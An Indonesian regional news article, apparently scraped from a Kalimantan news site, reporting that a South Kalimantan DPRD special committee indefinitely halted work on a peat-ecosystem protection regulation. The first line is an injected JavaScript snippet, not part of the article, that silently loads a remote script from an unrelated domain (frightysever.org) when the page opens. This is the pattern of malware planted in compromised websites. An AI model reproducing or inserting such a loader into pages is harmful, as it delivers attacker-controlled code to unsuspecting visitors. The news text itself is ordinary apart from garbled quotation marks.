(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Pansus DPRD Kalsel hentikan pembahasan Raperda tentang Rencana Perlindungan Pengelolaan Ekosistem Gambut (RPPEG) dalam waktu yang tidak ditentukan. Penghentian pembahasan utang Raperda DPRD Kalsel itu, diputuskan dalam rapat paripurna, Kamis (5/9).
Penghentian pembahasan Raperda disampaikan Ketua Pansus Raperda RPPEG Puar Junaidi, karena menurut Pansus kabupaten kota di Kalsel belum melakukan perubahan tata ruang rencana daerah lahan gambut.
Di mana wilayah yang dimaksud merupakan kewenangan kabupaten/kota berbeda dengan provinsi yang berwenang hanya pada lintas kabupaten/kota.
“Kita lakukan penundaan sampai kabupaten/kota telah menetapkan zona-zona wilayah terkait area lahan gambut. Penetapan Raperda mengacu pada peraturan diatasnya, sementara aturan diatasnya ada hal yang bertentangan,†terang Puar.
Jika ditetapkan menjadi Perda, terangnya, akan menjadi tanggung jawab Pemprov Kalsel, tanggung jawab ini akan membebankan APBD sedangkan dasar-dasar pembebanan itu tidak ada di RTRWD kabupaten/kota dan provinsi karena dasar dari pelaksanaan pembangunan itu masing-masing.
Sementara itu, anggota Pansus Rusfandie menyampaikan, hal-hal yang menjadi pertimbangan penghentian pembahasan Pansus, pertama dengan dilaksanakannya Rapat Pansus bersama Dinas Lingkungan Hidup (DLH) Provinsi serta kabupaten/kota belum mengalokasikan dalam peta wilayah pada rencana tata ruang wilayah kabupaten/kota.
Sementara dari Badan Restorasi Gambut (BRG) mengeluarkan pernyataan melarang kelapa sawit di tanam di lahan gambut, dianggap melanggar UU Nomor 12/1992 Pasal 6 UU Nomor 39/2014. Diharapkan Tim Restorasi Gambut Kalsel tetap selalu berkoordinasi dengan DLH Kalsel. Dari 8 provinsi di Indonesia yang diklaim memiliki daerah lahan gambut belum seluruhnya memiliki Perda.
“Sehingga dari beberapa uraian yang disebutkan, maka Pansus Raperda RPPEG untuk menghentikan pembahasan, sampai batas waktu yang tidak ditentukan dengan kata lain dibatalkan,†jelasnya.
Sekdaprov Kalsel, A Haris Makkie menuturkan jika dalam Raperda ada tarik ulur itu harus ada pertimbangan seperti yang disampaikan. “Tidak masalah selama hal itu bukan keinginan subjektif, melainkan dinamika dalam memutuskan keputusan yang berdampak positif bagi semuanya,†tandasnya. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
This website uses cookies.